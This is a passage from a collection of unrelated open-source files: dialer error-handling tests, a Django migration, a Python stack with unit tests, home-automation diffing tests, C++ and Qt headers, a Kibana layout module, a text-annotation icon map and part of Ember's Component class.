mockPromise = Promise.reject('BadNumberError');
subject.call('123', 0);
mockPromise.catch(function() {
sinon.assert.calledWith(spyConfirmShow,'invalidNumberToDialTitle',
'invalidNumberToDialMessage');
}).then(done, done);
});
test('should display the NoNetwork message in emergency mode',
function(done) {
mockPromise = Promise.reject('BadNumberError');
MockNavigatorMozMobileConnections[0].voice = {
emergencyCallsOnly: true
};
subject.call('123', 0);
mockPromise.catch(function() {
sinon.assert.calledWith(spyConfirmShow,'emergencyDialogTitle',
'emergencyDialogBodyBadNumber');
}).then(done, done);
});
});
test('should handle RadioNotAvailable', function(done) {
mockPromise = Promise.reject('RadioNotAvailable');
subject.call('123', 0);
mockPromise.catch(function() {
sinon.assert.calledWith(spyConfirmShow, 'callAirplaneModeTitle',
'callAirplaneModeMessage');
}).then(done, done);
});
test('should handle OtherConnectionInUse', function(done) {
mockPromise = Promise.reject('OtherConnectionInUse');
subject.call('123', 0);
mockPromise.catch(function() {
sinon.assert.calledWith(spyConfirmShow, 'otherConnectionInUseTitle',
'otherConnectionInUseMessage');
}).then(done, done);
});
test('should handle unknown errors', function(done) {
mockPromise = Promise.reject('Gloubiboulga');
var onerrorSpy = this.sinon.spy();
subject.call('123', 0, null, null, null, onerrorSpy);
mockPromise.catch(function() {
sinon.assert.calledWith(spyConfirmShow, 'unableToCallTitle',
'unableToCallMessage');
sinon.assert.calledOnce(onerrorSpy);
}).then(done, done);
});
});
});
test('should display a message if we didn\'t get a call back',
function(done) {
mockPromise = Promise.reject('');
subject.call('123', 0);
mockPromise.catch(function() {
assert.isTrue(spyConfirmShow.calledWith('unableToCallTitle',
'unableToCallMessage'));
}).then(done, done);
});
test('should dial with correct card index', function() {
MockNavigatorMozMobileConnections.mAddMobileConnection();
MockNavigatorMozMobileConnections[1].voice = {};
subject.call('123', 1);
sinon.assert.calledWith(navigator.mozTelephony.dial, '123', 1);
});
});
|
# Generated by Django 3.0.4 on 2020-05-28 16:42
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('dogs', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='dog',
name='club',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='dogs.Club'),
),
migrations.AlterField(
model_name='dog',
name='owner',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='grade',
name='expert',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='grade',
name='perform',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='dogs.Perform'),
),
migrations.AlterField(
model_name='perform',
name='dog',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='dogs.Dog'),
),
migrations.AlterField(
model_name='perform',
name='ring',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='dogs.Ring'),
),
migrations.AlterField(
model_name='registration',
name='dog',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='dogs.Dog'),
),
migrations.AlterField(
model_name='registration',
name='show',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='dogs.Show'),
),
migrations.AlterField(
model_name='ring',
name='show',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='dogs.Show'),
),
]
|
import unittest
class Pilha():
def __init__(self):
self._lista = []
def vazia(self):
return not bool(self._lista)
def topo(self):
if self._lista:
return self._lista[-1]
raise PilhaVaziaErro()
def empilhar(self, valor):
self._lista.append(valor)
def desempilhar(self):
try:
return self._lista.pop()
except IndexError:
raise PilhaVaziaErro()
class PilhaVaziaErro(Exception):
pass
class PilhaTestes(unittest.TestCase):
def test_topo_lista_vazia(self):
pilha = Pilha()
self.assertTrue(pilha.vazia())
self.assertRaises(PilhaVaziaErro, pilha.topo)
def test_empilhar_um_elemento(self):
pilha = Pilha()
pilha.empilhar('A')
self.assertFalse(pilha.vazia())
self.assertEqual('A', pilha.topo())
def test_empilhar_dois_elementos(self):
pilha = Pilha()
pilha.empilhar('A')
pilha.empilhar('B')
self.assertFalse(pilha.vazia())
self.assertEqual('B', pilha.topo())
def test_desempilhar_pilha_vazia(self):
pilha = Pilha()
self.assertRaises(PilhaVaziaErro, pilha.desempilhar)
def test_desempilhar(self):
pilha = Pilha()
letras = 'ABCDE'
for letra in letras:
pilha.empilhar(letra)
for letra_em_ordem_reversa in reversed(letras):
letra_desempilhada = pilha.desempilhar()
self.assertEqual(letra_em_ordem_reversa, letra_desempilhada)
if __name__ == '__main__':
unittest.main()
|
/* jshint -W097 */// jshint strict:false
/*jslint node: true */
const expect = require('chai').expect;
const klfutils = require('../lib/klfutils');
describe('Test klfutils', function() {
const oldProducts = [
{
"name": "Windows bathroom",
"category": "Window opener",
"id": 0,
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows"
]
},
{
"name": "Window sleeping room",
"category": "Window opener",
"id": 1,
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows",
"Window sleeping room 0%",
"Window sleeping room 100%"
]
},
{
"name": "Window kids room",
"category": "Window opener",
"id": 2,
"typeId": 4,
"subtype": 1,
"scenes": []
},
{
"name": "Roller shutter sleeping room",
"category": "Roller shutter",
"id": 3,
"typeId": 2,
"subtype": 0,
"scenes": []
},
{
"name": "Window kitchen",
"category": "Window opener",
"id": 4,
"typeId": 4,
"subtype": 1,
"scenes": [
"Window kitchen 10%",
"Window kitchen 20%"
]
}
];
const newProducts = [
{
"name": "Windows bathroom",
"category": "Window opener",
"id": 0,
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows",
"Window kitchen 20%"
]
},
{
"name": "Window kids room",
"category": "Window opener",
"id": 1,
"typeId": 4,
"subtype": 1,
"scenes": []
},
{
"name": "Roller shutter sleeping room",
"category": "Roller shutter",
"id": 2,
"typeId": 2,
"subtype": 0,
"scenes": []
},
{
"name": "Window kitchen",
"category": "Window opener",
"id": 3,
"typeId": 4,
"subtype": 1,
"scenes": [
"Window kitchen 10%",
"Window kitchen 20%"
]
}
];
const oldScenes = [
{
"name": "Some windows",
"id": 0,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Windows bathroom",
"actuator": 0,
"status": 10
},
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 10
}
]
},
{
"name": "Window sleeping room 0%",
"id": 1,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window sleeping room",
"actuator": 0,
"status": 0
}
]
},
{
"name": "Window sleeping room 100%",
"id": 2,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window sleeping room",
"actuator": 0,
"status": 100
}
]
},
{
"name": "Window kitchen 10%",
"id": 3,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 10
}
]
},
{
"name": "Window kitchen 20%",
"id": 4,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 10
}
]
}
];
const newScenes = [
{
"name": "Some windows",
"id": 0,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Windows bathroom",
"actuator": 0,
"status": 10
}
]
},
{
"name": "Window sleeping room 0%",
"id": 1,
"silent": true,
"products": [
{
"typeId": 4,
"name": "Window sleeping room",
"actuator": 0,
"status": 0
}
]
},
{
"name": "Window sleeping room 100%",
"id": 2,
"silent": true,
"products": [
{
"typeId": 4,
"name": "Window sleeping room",
"actuator": 0,
"status": 100
}
]
},
{
"name": "Window kitchen 10%",
"id": 3,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 10
}
]
},
{
"name": "Window kitchen 30%",
"id": 4,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 30
}
]
}
];
it('convertKlfArrayToDictionary should return objects with ids set to the corresponding values', function (done) {
let testResult = klfutils.convertKlfArrayToDictionary(oldProducts);
const expectedResult = {
"0": {
"name": "Windows bathroom",
"category": "Window opener",
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows"
]
},
"1": {
"name": "Window sleeping room",
"category": "Window opener",
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows",
"Window sleeping room 0%",
"Window sleeping room 100%"
]
},
"2": {
"name": "Window kids room",
"category": "Window opener",
"typeId": 4,
"subtype": 1,
"scenes": []
},
"3": {
"name": "Roller shutter sleeping room",
"category": "Roller shutter",
"typeId": 2,
"subtype": 0,
"scenes": []
},
"4": {
"name": "Window kitchen",
"category": "Window opener",
"typeId": 4,
"subtype": 1,
"scenes": [
"Window kitchen 10%",
"Window kitchen 20%"
]
}
};
expect(testResult).to.be.an('object');
expect(testResult).to.be.deep.equal(expectedResult);
done();
});
it('convertKlfArrayToDictionary should throw an error when id property is missing', function (done) {
const missingIdData = [
{
"name": "Windows bathroom",
"category": "Window opener",
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows"
]
}
];
let errorFunction = function() {
let testResult = klfutils.convertKlfArrayToDictionary(missingIdData);
return testResult;
}
expect(errorFunction).to.throw();
done();
});
it('getKlfProductDifferences should create the correct list of new, deleted or changed products', function (done) {
const expectedResult = {
"newProducts": [
{
"name": "Window kids room",
"category": "Window opener",
"id": 1,
"typeId": 4,
"subtype": 1,
"scenes": []
},
{
"name": "Roller shutter sleeping room",
"category": "Roller shutter",
"id": 2,
"typeId": 2,
"subtype": 0,
"scenes": []
},
{
"name": "Window kitchen",
"category": "Window opener",
"id": 3,
"typeId": 4,
"subtype": 1,
"scenes": [
"Window kitchen 10%",
"Window kitchen 20%"
]
}
],
"deletedProducts": [
{
"name": "Window sleeping room",
"category": "Window opener",
"id": 1,
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows",
"Window sleeping room 0%",
"Window sleeping room 100%"
]
},
{
"name": "Window kids room",
"category": "Window opener",
"id": 2,
"typeId": 4,
"subtype": 1,
"scenes": []
},
{
"name": "Roller shutter sleeping room",
"category": "Roller shutter",
"id": 3,
"typeId": 2,
"subtype": 0,
"scenes": []
},
{
"name": "Window kitchen",
"category": "Window opener",
"id": 4,
"typeId": 4,
"subtype": 1,
"scenes": [
"Window kitchen 10%",
"Window kitchen 20%"
]
}
],
"changedProducts": [
{
"name": "Windows bathroom",
"category": "Window opener",
"id": 0,
"typeId": 4,
"subtype": 1,
"scenes": [
"Some windows",
"Window kitchen 20%"
]
}
]
};
let testResult = klfutils.getKlfProductDifferences(oldProducts, newProducts);
expect(testResult).to.be.an('object');
expect(testResult).to.have.property('newProducts').that.is.an('array').to.be.deep.equal(expectedResult.newProducts);
expect(testResult).to.have.property('deletedProducts').that.is.an('array').to.be.deep.equal(expectedResult.deletedProducts);
expect(testResult).to.have.property('changedProducts').that.is.an('array').to.be.deep.equal(expectedResult.changedProducts);
expect(testResult).to.be.deep.equal(expectedResult);
done();
});
it('getKlfSceneDifferences should create the correct list of new, deleted or changed scenes', function (done) {
const expectedResult = {
"newScenes": [
{
"name": "Some windows",
"id": 0,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Windows bathroom",
"actuator": 0,
"status": 10
}
]
},
{
"name": "Window kitchen 30%",
"id": 4,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 30
}
]
}
],
"deletedScenes": [
{
"name": "Some windows",
"id": 0,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Windows bathroom",
"actuator": 0,
"status": 10
},
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 10
}
]
},
{
"name": "Window kitchen 20%",
"id": 4,
"silent": false,
"products": [
{
"typeId": 4,
"name": "Window kitchen",
"actuator": 0,
"status": 10
}
]
}
],
"changedScenes": [
{
"name": "Window sleeping room 0%",
"id": 1,
"silent": true,
"products": [
{
"typeId": 4,
"name": "Window sleeping room",
"actuator": 0,
"status": 0
}
]
},
{
"name": "Window sleeping room 100%",
"id": 2,
"silent": true,
"products": [
{
"typeId": 4,
"name": "Window sleeping room",
"actuator": 0,
"status": 100
}
]
}
]
};
let testResult = klfutils.getKlfSceneDifferences(oldScenes, newScenes);
expect(testResult).to.be.an('object');
expect(testResult).to.have.property('newScenes').that.is.an('array').to.be.deep.equal(expectedResult.newScenes);
expect(testResult).to.have.property('deletedScenes').that.is.an('array').to.be.deep.equal(expectedResult.deletedScenes);
expect(testResult).to.have.property('changedScenes').that.is.an('array').to.be.deep.equal(expectedResult.changedScenes);
expect(testResult).to.be.deep.equal(expectedResult);
done();
});
});
|
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Copyright 2014 California Institute of Technology. ALL RIGHTS RESERVED.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# United States Government Sponsorship acknowledged. This software is subject to
# U.S. export control laws and regulations and has been classified as 'EAR99 NLR'
# (No [Export] License Required except when exporting to an embargoed country,
# end user, or in support of a prohibited end use). By downloading this software,
# the user agrees to comply with all applicable U.S. export laws and regulations.
# The user has the responsibility to obtain export licenses, or other export
# authority as may be required before exporting this software to any 'EAR99'
# embargoed foreign country or citizen of those countries.
#
# Author: Eric Belz
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""Why stuff in a __init__?"""
## \namespace rdf.language.grammar Grammar (language - lexis)
|
# Copyright (c) Facebook, Inc. and its affiliates.
import mmf.datasets.databases.readers # noqa
from .annotation_database import AnnotationDatabase
from .features_database import FeaturesDatabase
from .image_database import ImageDatabase
from .scene_graph_database import SceneGraphDatabase
__all__ = [
"AnnotationDatabase",
"FeaturesDatabase",
"ImageDatabase",
"SceneGraphDatabase",
]
|
// ----------------------------------------------------------------------------
//
// Basecode Bootstrap Compiler
// Copyright (C) 2018 Jeff Panici
// All rights reserved.
//
// This software source file is licensed under the terms of MIT license.
// For details, please read the LICENSE file.
//
// ----------------------------------------------------------------------------
#pragma once
#include "type.h"
#include "field.h"
namespace basecode::compiler {
class composite_type : public compiler::type {
public:
composite_type(
compiler::module* module,
block* parent_scope,
composite_types_t type,
compiler::block* scope,
compiler::symbol_element* symbol,
element_type_t element_type = element_type_t::composite_type);
bool is_enum() const;
bool is_union() const;
field_map_t& fields();
compiler::block* scope();
type_map_t& type_parameters();
composite_types_t type() const;
bool is_composite_type() const override;
protected:
bool on_is_constant() const override;
number_class_t on_number_class() const override;
bool on_type_check(compiler::type* other) override;
void on_owned_elements(element_list_t& list) override;
bool on_initialize(compiler::session& session) override;
private:
field_map_t _fields {};
composite_types_t _type;
type_map_t _type_parameters {};
compiler::block* _scope = nullptr;
};
};
|
/*
Copyright (c) 2015, Potion Design LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include "cinder/Shape2d.h"
#include "cinder/gl/Vbo.h"
#include "cinder/gl/VboMesh.h"
#include "cinder/gl/draw.h"
#include "cinder/gl/Shader.h"
#include "cinder/gl/scoped.h"
#include "poScene/View.h"
#include "poScene/TextureFit.h"
namespace po
{
namespace scene
{
// ShapeView2d is a class that converts any Cinder ShapeView2d to a VBO Mesh
// and uses it as the drawable object.
//
// It supports textures, which can be mapped using the po::Scene::TextureFit::Type enums.
//
// Interaction is supported through the ci::Shape2d contains method, which is localized
// to the position and the offset/alignment of the View.
//
// Setting the ShapeView, Texture or TextureFit will invalidate the VBOMesh and re-render the ShapeView.
// Create ShapeViewRef typedef
typedef std::shared_ptr<class ShapeView> ShapeViewRef;
class ShapeView
: public View
{
public:
//! Create an empy ShapeView
static ShapeViewRef create();
//! Create a ShapeView with a texture (defaults to a rect ShapeView)
static ShapeViewRef create( ci::gl::TextureRef texture );
//! Create a rectangular ShapeView
static ShapeViewRef createRect( float width, float height, float rad = 0.f );
//! Create a rounded rect
static ShapeViewRef createRoundedRect( float width, float height, float rad );
//! Create an square ShapeView
static ShapeViewRef createSquare( float size );
//! Create an elliptical ShapeView
static ShapeViewRef createEllipse( float width, float height );
//! Create an circle
static ShapeViewRef createCircle( float size );
~ShapeView();
//! Draw the ShapeView's VBOMesh and attach texture if set
virtual void draw();
//! Set/Return the backing ci::Shape2d
/** This should be used for modifying or changing the ShapeView **/
ci::Shape2d getCiShapeView2dCopy() { return mCiShape2d; };
/** This should be used for modifying or changing the ShapeView **/
void setCiShape2d( ci::Shape2d ShapeView );
//! Get the bounds
/** The bounds of a ShapeView are determined by the bounds of the ci::Shape2d
plus any offsets/alignments**/
virtual ci::Rectf getBounds();
//! Determine if a point is inside the ShapeView by localizing it and checking if it intersects
bool pointInside( const ci::vec2& point, bool localize = true );
// Caching to VBO
//! Triangulate the ci::Shape2d and push to a VBOMesh with correct texture coords
void render();
//! Get the VBOMeshRef
ci::gl::VboMeshRef getVbo() { return mVboMesh; };
//! Set the texture with fit and alignment
void setTexture( ci::gl::TextureRef texture, TextureFit::Type fit = TextureFit::Type::NONE, Alignment alignment = Alignment::TOP_LEFT );
//! Set an offset for the texture
void setTextureOffset( ci::vec2 offset );
//! Get the texture
ci::gl::TextureRef getTexture() { return mTexture; }
//! Remove the texture and return to using fill color to render
void removeTexture();
//! Get the internal precision
int getPrecision() { return mPrecision; }
//! Set the internal precision to use when triangulating the ci::Shape2d
ShapeView& setPrecision( int precision ) { mPrecision = precision; return *this;}
protected:
ShapeView();
private:
// Our Vbo
ci::gl::VboMeshRef mVboMesh;
// Our underlying ci::Shape2d
ci::Shape2d mCiShape2d;
// Textures
ci::gl::TextureRef mTexture;
TextureFit::Type mTextureFitType;
Alignment mTextureAlignment;
ci::vec2 mTextureOffset;
int mPrecision;
};
}
} // namespace po::scene
|
#ifndef QZEROCONFSERVICE_H
#define QZEROCONFSERVICE_H
#include <QHostAddress>
#include <QMutexLocker>
#include <QSharedPointer>
#include "qzeroconfglobal.h"
class QZeroConfPrivate;
class Q_ZEROCONF_EXPORT QZeroConfServiceData
{
Q_GADGET
Q_PROPERTY( QString name READ name )
Q_PROPERTY( QString type READ type )
Q_PROPERTY( QString domain READ domain )
Q_PROPERTY( QString host READ host )
friend class QZeroConfPrivate;
public:
inline QString name() const {return m_name;}
inline QString type() const {return m_type;}
inline QString domain() const {return m_domain;}
inline QString host() const {return m_host;}
QHostAddress ip()
{
QMutexLocker locker(&m_lock);
return m_ip;
}
inline quint32 interfaceIndex() const {return m_interfaceIndex;}
quint16 port() const {return m_port;}
QMap <QByteArray, QByteArray> txt() const {return m_txt;}
private:
void setIp(QHostAddress &ip)
{
QMutexLocker locker(&m_lock);
m_ip = ip;
}
QString m_name;
QString m_type;
QString m_domain;
QString m_host;
QHostAddress m_ip;
quint32 m_interfaceIndex;
quint16 m_port;
QMap <QByteArray, QByteArray> m_txt;
QMutex m_lock;
};
typedef QSharedPointer<QZeroConfServiceData> QZeroConfService;
Q_DECLARE_METATYPE(QZeroConfService)
QDebug Q_ZEROCONF_EXPORT operator<<(QDebug debug, const QZeroConfService &service);
#endif // QZEROCONFSERVICE_H
|
define(function (require) {
return function ColumnLayoutFactory(Private) {
let d3 = require('d3');
let mapSplit = Private(require('ui/vislib/lib/layout/splits/tile_map/map_split'));
/*
* Specifies the visualization layout for tile maps.
*
* This is done using an array of objects. The first object has
* a `parent` DOM element, a DOM `type` (e.g. div, svg, etc),
* and a `class` (required). Each child can omit the parent object,
* but must include a type and class.
*
* Optionally, you can specify `datum` to be bound to the DOM
* element, a `splits` function that divides the selected element
* into more DOM elements based on a callback function provided, or
* a children array which nests other layout objects.
*
* Objects in children arrays are children of the current object and return
* DOM elements which are children of their respective parent element.
*/
return function (el, data) {
if (!el || !data) {
throw new Error('Both an el and data need to be specified');
}
return [
{
parent: el,
type: 'div',
class: 'vis-wrapper',
datum: data,
children: [
{
type: 'div',
class: 'vis-col-wrapper',
children: [
{
type: 'div',
class: 'chart-wrapper',
splits: mapSplit
}
]
}
]
}
];
};
};
});
|
export default class IconEventMap {
constructor(
commander,
presenter,
persistenceInterface,
view,
buttonController
) {
this._map = new Map([
['view', () => presenter.toViewMode()],
['term', () => presenter.toTermMode()],
['block', () => presenter.toBlockMode()],
['relation', () => presenter.toRelationMode()],
['simple', () => presenter.toggleSimpleMode()],
['read', () => persistenceInterface.importAnnotation()],
['write', () => persistenceInterface.uploadAnnotation()],
['undo', () => commander.undo()],
['redo', () => commander.redo()],
['replicate', () => presenter.replicate()],
['create-span', () => presenter.createSpan()],
['expand-span', () => presenter.expandSpan()],
['shrink-span', () => presenter.shrinkSpan()],
['entity', () => presenter.createEntity()],
['change-label', () => presenter.editTypeValues()],
['pallet', () => presenter.showPallet()],
['delete', () => presenter.removeSelectedElements()],
['copy', () => presenter.copyEntities()],
['cut', () => presenter.cutEntities()],
['paste', () => presenter.pasteEntities()],
['setting', () => presenter.showSettingDialog()],
['line-height', () => view.updateLineHeight()]
])
// Set handler for push buttons.
for (const buttonName of buttonController.pushButtonNames) {
if (!this._map.has(buttonName)) {
this._map.set(buttonName, () => presenter.toggleButton(buttonName))
}
}
}
handle(key) {
if (this._map.has(key)) {
this._map.get(key)()
}
}
}
|
import Ember from "ember-metal/core"; // Ember.assert, Ember.Handlebars
import ComponentTemplateDeprecation from "ember-views/mixins/component_template_deprecation";
import TargetActionSupport from "ember-runtime/mixins/target_action_support";
import View from "ember-views/views/view";
import { get } from "ember-metal/property_get";
import { set } from "ember-metal/property_set";
import isNone from 'ember-metal/is_none';
import { computed } from "ember-metal/computed";
import { bool } from "ember-metal/computed_macros";
import defaultComponentLayout from "ember-htmlbars/templates/component";
var a_slice = Array.prototype.slice;
/**
@module ember
@submodule ember-views
*/
/**
An `Ember.Component` is a view that is completely
isolated. Properties accessed in its templates go
to the view object and actions are targeted at
the view object. There is no access to the
surrounding context or outer controller; all
contextual information must be passed in.
The easiest way to create an `Ember.Component` is via
a template. If you name a template
`components/my-foo`, you will be able to use
`{{my-foo}}` in other templates, which will make
an instance of the isolated component.
```handlebars
{{app-profile person=currentUser}}
```
```handlebars
<!-- app-profile template -->
<h1>{{person.title}}</h1>
<img {{bind-attr src=person.avatar}}>
<p class='signature'>{{person.signature}}</p>
```
You can use `yield` inside a template to
include the **contents** of any block attached to
the component. The block will be executed in the
context of the surrounding context or outer controller:
```handlebars
{{#app-profile person=currentUser}}
<p>Admin mode</p>
{{! Executed in the controller's context. }}
{{/app-profile}}
```
```handlebars
<!-- app-profile template -->
<h1>{{person.title}}</h1>
{{! Executed in the components context. }}
{{yield}} {{! block contents }}
```
If you want to customize the component, in order to
handle events or actions, you implement a subclass
of `Ember.Component` named after the name of the
component. Note that `Component` needs to be appended to the name of
your subclass like `AppProfileComponent`.
For example, you could implement the action
`hello` for the `app-profile` component:
```javascript
App.AppProfileComponent = Ember.Component.extend({
actions: {
hello: function(name) {
console.log("Hello", name);
}
}
});
```
And then use it in the component's template:
```handlebars
<!-- app-profile template -->
<h1>{{person.title}}</h1>
{{yield}} <!-- block contents -->
<button {{action 'hello' person.name}}>
Say Hello to {{person.name}}
</button>
```
Components must have a `-` in their name to avoid
conflicts with built-in controls that wrap HTML
elements. This is consistent with the same
requirement in web components.
@class Component
@namespace Ember
@extends Ember.View
*/
var Component = View.extend(TargetActionSupport, ComponentTemplateDeprecation, {
instrumentName: 'component',
instrumentDisplay: computed(function() {
if (this._debugContainerKey) {
return '{{' + this._debugContainerKey.split(':')[1] + '}}';
}
}),
init: function() {
this._super.apply(this, arguments);
this._keywords.view = this;
set(this, 'context', this);
set(this, 'controller', this);
},
defaultLayout: defaultComponentLayout,
/**
A components template property is set by passing a block
during its invocation. It is executed within the parent context.
Example:
```handlebars
{{#my-component}}
// something that is run in the context
// of the parent context
{{/my-component}}
```
Specifying a template directly to a component is deprecated without
also specifying the layout property.
@deprecated
@property template
*/
template: computed(function(key, value) {
if (value !== undefined) { return value; }
var templateName = get(this, 'templateName');
var template = this.templateForName(templateName, 'template');
Ember.assert("You specified the templateName " + templateName + " for " + this + ", but it did not exist.", !templateName || !!template);
return template || get(this, 'defaultTemplate');
}).property('templateName'),
/**
Specifying a components `templateName` is deprecated without also
providing the `layout` or `layoutName` properties.
@deprecated
@property templateName
*/
templateName: null,
_setupKeywords: function() {},
_yield: function(context, options, morph, blockArguments) {
var view = options.data.view;
var parentView = this._parentView;
var template = get(this, 'template');
if (template) {
Ember.assert("A Component must have a parent view in order to yield.", parentView);
view.appendChild(View, {
isVirtual: true,
tagName: '',
template: template,
_blockArguments: blockArguments,
_contextView: parentView,
_morph: morph,
context: get(parentView, 'context'),
controller: get(parentView, 'controller')
});
}
},
/**
If the component is currently inserted into the DOM of a parent view, this
property will point to the controller of the parent view.
@property targetObject
@type Ember.Controller
@default null
*/
targetObject: computed(function(key) {
var parentView = this._parentView;
return parentView ? get(parentView, 'controller') : null;
}).property('_parentView'),
/**
Triggers a named action on the controller context where the component is used if
this controller has registered for notifications of the action.
For example a component for playing or pausing music may translate click events
into action notifications of "play" or "stop" depending on some internal state
of the component:
```javascript
App.PlayButtonComponent = Ember.Component.extend({
click: function() {
if (this.get('isPlaying')) {
this.sendAction('play');
} else {
this.sendAction('stop');
}
}
});
```
When used inside a template these component actions are configured to
trigger actions in the outer application context:
```handlebars
{{! application.hbs }}
{{play-button play="musicStarted" stop="musicStopped"}}
```
When the component receives a browser `click` event it translate this
interaction into application-specific semantics ("play" or "stop") and
triggers the specified action name on the controller for the template
where the component is used:
```javascript
App.ApplicationController = Ember.Controller.extend({
actions: {
musicStarted: function() {
// called when the play button is clicked
// and the music started playing
},
musicStopped: function() {
// called when the play button is clicked
// and the music stopped playing
}
}
});
```
If no action name is passed to `sendAction` a default name of "action"
is assumed.
```javascript
App.NextButtonComponent = Ember.Component.extend({
click: function() {
this.sendAction();
}
});
```
```handlebars
{{! application.hbs }}
{{next-button action="playNextSongInAlbum"}}
```
```javascript
App.ApplicationController = Ember.Controller.extend({
actions: {
playNextSongInAlbum: function() {
...
}
}
});
```
@method sendAction
@param [action] {String} the action to trigger
@param [context] {*} a context to send with the action
*/
sendAction: function(action) {
var actionName;
var contexts = a_slice.call(arguments, 1);
// Send the default action
if (action === undefined) {
actionName = get(this, 'action');
Ember.assert("The default action was triggered on the component " + this.toString() +
", but the action name (" + actionName + ") was not a string.",
isNone(actionName) || typeof actionName === 'string');
} else {
actionName = get(this, action);
Ember.assert("The " + action + " action was triggered on the component " +
this.toString() + ", but the action name (" + actionName +
") was not a string.",
isNone(actionName) || typeof actionName === 'string');
}
// If no action name for that action could be found, just abort.
if (actionName === undefined) { return; }
this.triggerAction({
action: actionName,
actionContext: contexts
});
},
send: function(actionName) {
var args = [].slice.call(arguments, 1);
var target;
var hasAction = this._actions && this._actions[actionName];
if (hasAction) {
var shouldBubble = this._actions[actionName].apply(this, args) === true;
if (!shouldBubble) { return; }
}
if (target = get(this, 'target')) {
Ember.assert("The `target` for " + this + " (" + target +
") does not have a `send` method", typeof target.send === 'function');
target.send.apply(target, arguments);
} else {
if (!hasAction) {
throw new Error(Ember.inspect(this) + ' had no action handler for: ' + actionName);
}
}
}
});
if (Ember.FEATURES.isEnabled('ember-views-component-block-info')) {
Component.reopen({
/**
Returns true when the component was invoked with a block template.
Example (`hasBlock` will be `false`):
```hbs
{{! templates/application.hbs }}
{{foo-bar}}
{{! templates/components/foo-bar.js }}
{{#if hasBlock}}
This will not be printed, because no block was provided
{{/if}}
```
Example (`hasBlock` will be `true`):
```hbs
{{! templates/application.hbs }}
{{#foo-bar}}
Hi!
{{/foo-bar}}
{{! templates/components/foo-bar.js }}
{{#if hasBlock}}
This will be printed because a block was provided
{{yield}}
{{/if}}
```
@public
@property hasBlock
@returns Boolean
*/
hasBlock: bool('template'),
/**
Returns true when the component was invoked with a block parameter
supplied.
Example (`hasBlockParams` will be `false`):
```hbs
{{! templates/application.hbs }}
{{#foo-bar}}
No block parameter.
{{/foo-bar}}
{{! templates/components/foo-bar.js }}
{{#if hasBlockParams}}
This will not be printed, because no block was provided
